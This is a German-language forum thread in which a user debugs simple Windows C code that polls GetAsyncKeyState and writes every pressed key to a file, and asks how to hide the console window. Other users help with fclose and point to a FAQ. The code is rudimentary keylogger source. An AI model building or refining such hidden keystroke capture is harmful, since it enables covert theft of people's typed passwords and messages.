in datei schreiben



  • hi leute!!!

    ich hab mit folgendem code ein kleines problem:

    #include <windows.h>
    #include <stdio.h>
    int main(){
      SHORT KeyState;
      SHORT ArrKeyState[256];
      long CheckSum;
      long OldCheckSum;
      FILE *logging;
      logging = fopen("test.txt", "w+");
      OldCheckSum = 987654;
    
      while (1){
        CheckSum = 0;
        for (int x = 0; x < 256; x++){
          KeyState = GetAsyncKeyState(x);
          CheckSum += KeyState;
          ArrKeyState[x] = KeyState;
        }//end for
    
        if (OldCheckSum != CheckSum){
          for (int i = 0; i < 256; i++){
            // -32767 = KeyDown :-)))))))))
            if (ArrKeyState[i] == -32767){
                if(i == 8){
                    continue;
                }else{
                    if(i == 13){
                        continue;
                    }else{
                        fputc(i, logging);
                    }//end if
                }//end if
             }//end if
           }//end if
        }//end if
        OldCheckSum = CheckSum;
      }//end while
    }//end main
    

    ich will in die datei test.txt schreiben aber sie bleibt immer leer woran kann das liegen 😕 😕 habe den code mit VISUAL STUDIO 2005 geschrieben. waere nett waenn ihr mir weiterhelfen koenntet.

    noch ne frage um nicht zweimal posten zum müssen:
    ist es möglich nach dem start eines konsolenprogramms die konsole zu schließen?? oder sie einfach unsichtbar zu machen??

    also schon mal ein fettes thx im v-o-r-r-a-u-s 🙂



  • fclose() fehlt, dann wird der Inhalt afaik nicht rausgeschrieben.

    MfG SideWinder



  • --linuxuser-- schrieb:

    also schon mal ein fettes thx im v-o-r-r-a-u-s 🙂

    rofl 😃 😃 😃



  • noch ne frage um nicht zweimal posten zum müssen:
    ist es möglich nach dem start eines konsolenprogramms die konsole zu schließen?? oder sie einfach unsichtbar zu machen??

    IIRC findest du dazu was in der Win32 und Dos-Konsolen-FAQ

    /edit: Deinem Namen nach zu schließen benutzt du jedoch Linux. Wenn dem so ist, schau mal in der Linux-FAQ. (KA ob's da was dazu gibt).
    Jedoch frage ich mich gerade wieso man als Linuxuser Visual Studio 2005 benutzt und windows.h einbindet. 😕

    Caipi



  • hi leute!!
    eigentlich mag ich microbenschrott windoof nicht besonders -- was heißt nicht besonders -- ich hasse dieses os, aber was will ich machen ich muss mich aus schulischen gründen mit der VISUAL STUDIO kacke herumplagen sonst programmiere ich in anjuta das ist meine lieblings ide
    aber noch ne frage zu meinem kleinen proggy:

    if (ArrKeyState[i] == -32767){
                if(i == 8){
                    continue;
                }else{
                    if(i == 13){
                        continue;
                    }else{
                        logging = fopen("test.txt", "w");
                        putc(i,logging);
                        fclose(logging);
                    }//end if
                }//end if
             }//end if
    

    ich hab das mal so geaendert aber waenn ich dann ausführe dann schreibt es mir in die datei einfach nur ein kaestchen rein das kann ich nicht verstehen da waenn ich die ganze sache mit

    printf("%c", i);
    

    ausgebe haut alles super hin das geht mir nicht ein...
    ich hab es probiert dass ich das

    putc(i,logging);
    

    dort reinschreibe:

    for (int x = 0; x < 256; x++){
          KeyState = GetAsyncKeyState(x);
          CheckSum += KeyState;
          ArrKeyState[x] = KeyState;
        }//end for
    

    da hat dann alles gefunzelt...
    das ist irgendwie komisch oder?
    also dann wieder ein THX die sich auf mein niveau heruntergeben und mir helfen 😃 😃 😃


Log in to reply